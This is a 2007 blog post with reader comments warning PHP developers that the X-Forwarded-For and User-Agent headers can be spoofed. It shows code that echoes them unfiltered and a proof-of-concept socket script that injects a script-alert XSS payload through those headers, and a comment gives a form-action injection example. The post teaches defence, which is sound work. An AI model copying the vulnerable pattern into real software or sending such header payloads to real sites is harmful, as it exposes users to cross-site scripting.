Faking the unexpected
Sunday, 2 December 2007
Developers place too much trust in everything, they assume that certain data cannot be faked and therefore these pieces of data can be used as a Trojan horse. Lets take the REMOTE IP of a user, it seems a trusted source because of the TCP/IP connection between the user and the server but take the following example:-
<?php
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$userip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$userip = $_SERVER['REMOTE_ADDR'];
}
?>
Suddenly a piece of assumed “safe” data is placed in the variable. HTTP_X_FORWARDED_FOR is user input, instead of combining both they should be treated separately and HTTP_X_FORWARDED_FOR should never be used as a means to validate the user’s IP. But it gets worse…what if a developer outputs this data? We now have another problem, the attacker can not only fake their IP but the “safe” data becomes a XSS injection point. The following proof of concept highlights this issue:-
<?php
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$userip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$userip = $_SERVER['REMOTE_ADDR'];
}
echo "ip:" . $userip . "<br>";
echo "user agent:" . $_SERVER['HTTP_USER_AGENT'] . "<br>";
?>
The attacker then supplies the following information:-
<?php
$fp = fsockopen("127.0.0.1", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /ip.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "X-Forwarded-For: <script>alert(/Faking the unexpected/)";
$out .= "</script>\r\n";
$out .= "User-Agent: <script>alert(/Faking the unexpected/)";
$out .= "</script>\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
Which results in XSS on the domain. So my question is, do you have a sick feeling in your stomach now? Or have you got a smug feeling that you ALWAYS filter user-agent, X-Forwarded-For and any other user supplied data?
No. 1 — December 2nd, 2007 at 3:58 pm
Clever! This can almost certainly attack sites that display the user’s user agent such…
No. 2 — December 2nd, 2007 at 4:08 pm
I choose the latter option, and sanitize all user-input and headers.
No. 3 — December 2nd, 2007 at 6:20 pm
I think accepting ‘HTTP_X_FORWARDED_FOR’ or ‘REMOTE_ADDR’ values as ultimately correct identifiers for end users is clearly a different problem than failing to perform output validation on user-supplied data. ‘HTTP_X_FORWARDED_FOR’ and other HTTP headers are of course trivial to spoof, and there is irony in the perceived extra level of security that checking for proxied users appears to provide. If this information is really required, the developer might want to have a look at some Metasploit Project research (hxxp://metasploit.com/research/misc/decloak/).
Outputting unfiltered user input is always bad, as shown, but trusting HTTP headers as always legitimate values is far too tempting and a more commonly overlooked source of vulnerability than, say, query strings.
No. 4 — December 2nd, 2007 at 7:45 pm
In my limited ‘developer’ way, rather than as a webappsec professional, this is one of those things I see all the time, the key culprit being _SERVER[‘PHP_SELF’]… :S
Another common one (though a bit more obvious and less related to this post) is something along the lines of:
http://www.example.org/controller/action
—>
<form action=”<? echo $action; ?>”>
No. 5 — December 2nd, 2007 at 7:58 pm
@Awesome AnDrEw
You must be feeling smug right now 🙂
I wonder how many feel sick 🙂
No. 6 — December 3rd, 2007 at 8:47 am
Hello,
This article is very good, but gives no viable alternative. Why ?
Jack
No. 7 — December 3rd, 2007 at 9:06 am
@Jack
You need to filter all user supplied data including User-agent etc and I have mentioned many times before how to do this. The article was to highlight the amount of times I’ve seen PHP code with just $userip = $_SERVER[‘HTTP_X_FORWARDED_FOR’]; and blindly trusting it.
No. 8 — December 5th, 2007 at 5:44 am
yep, you are right!
No. 9 — April 10th, 2008 at 11:31 pm
Nice example. Stefan Esser describes this problem very good in his book about PHP security. By the way, he is the guy, who worked in the PHP Security Response Team.
No. 10 — April 11th, 2008 at 10:18 am
Yeah Stefan rocks 🙂
He has a book? Is it in English? I’d be interested if you could provide a link.